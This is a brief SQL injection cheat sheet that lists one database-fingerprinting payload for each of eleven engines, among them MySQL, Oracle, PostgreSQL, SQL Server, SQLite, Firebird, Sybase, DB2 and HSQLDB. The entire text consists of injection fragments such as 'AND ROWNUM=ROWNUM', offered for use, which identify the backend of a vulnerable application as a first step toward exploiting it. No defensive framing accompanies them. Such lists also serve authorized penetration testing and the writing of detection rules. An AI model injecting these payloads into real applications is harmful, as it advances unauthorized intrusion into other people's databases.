Database footprinting and enumeration functions for SQL injections


 Database footprinting functions for SQL injections


MySQL

 AND QUARTER(NULL) IS NULL

Oracle

 AND ROWNUM=ROWNUM

PostgreSQL

 AND 8015::int=8015

Microsoft SQL Server 

 AND SQUARE(6425)=SQUARE(6425)

SQLite

 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()

Microsoft Access

 AND VAL(CVAR(1))=1

Firebird

 AND (SELECT COUNT(*) FROM RDB$DATABASE WHERE 8956=8956)>0

SAP MaxDB

 AND  ALPHA(NULL) IS NULL

Sybase

 AND @@transtate=@@transtate

IBM DB2

 AND 3632=(SELECT 3632 FROM SYSIBM.SYSDUMMY1)

HSQLDB

 AND CASEWHEN(1=1,1,0)=1